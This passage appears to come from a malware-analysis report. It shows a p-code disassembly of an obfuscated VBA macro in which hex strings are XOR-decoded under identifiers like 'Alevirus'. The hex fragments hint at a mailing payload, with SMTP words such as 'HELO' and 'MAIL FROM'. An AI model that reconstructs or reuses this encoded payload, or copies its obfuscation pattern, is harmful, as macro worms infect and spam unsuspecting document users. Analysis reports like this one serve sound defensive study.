' 	LitStr 0x0052 "0000000000000000000000000000000000000000000000000000000000000000000000000000000000"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #118:
' 	LitStr 0x0052 "00000000000000000000000000000000440E524120493CC076657273696F7B6E0E312E304BDE416768"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #119:
' 	LitStr 0x0052 "745365BF26FE3F38369D39355C3238006D61696C2E686F54740863F1FF853E013166926E61C964CD38"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #120:
' 	LitStr 0x0052 "C5405E2F81313930350070757454610F0131416CE46972FD73529132BA8E91290295061935800D0A49"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #121:
' 	LitStr 0x0052 "503AE14B01E23D003E204672DDFE5B3C17F67ADC040348454C4FFD61E32D3783204D41494C1E46524F"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #122:
' 	LitStr 0x0052 "013A3C64336C458C68B53EC03E5243505420E44FDC3A351B47544441FE5A1681553A2022263D77F34B"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #123:
' 	LitStr 0x0052 "3CCF54DA45B26A8424654A7226F053751E626A65D974564E8E2E69665E9E61EAF9A99849C8452D4956"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #124:
' 	LitStr 0x0052 "07893A139631264314746583062D547970BE26CF1678CF2F2D6C92B75B04FA01FFFF69E9042E820651"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #125:
' 	LitStr 0x0052 "554954810B506F723C5270C713617316771A45645F01ABB302842BAE80736E646374076C33322E699E"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #126:
' 	LitStr 0x0052 "540DA16578CA9560D9104B16C343616E886F7420DDE97A7B776C3D7A65BF739D636BBEB82E03537061"
' 	ArgsLd Knight7 0x0001 
' 	Paren 
' 	Ld Alevirus 
' 	ArgsMemCall Xor 0x0001 
' Line #127:
' 	LitStr 0x0052 "776EFB64C8203A2D52290D7AFC72E26FE79D34447730C62102A81A4669696C1A7028DA6658B34E141F"
' 	ArgsLd Knight7 0x0001 
…

Open this report in the interactive analyzer, or submit your own file for analysis.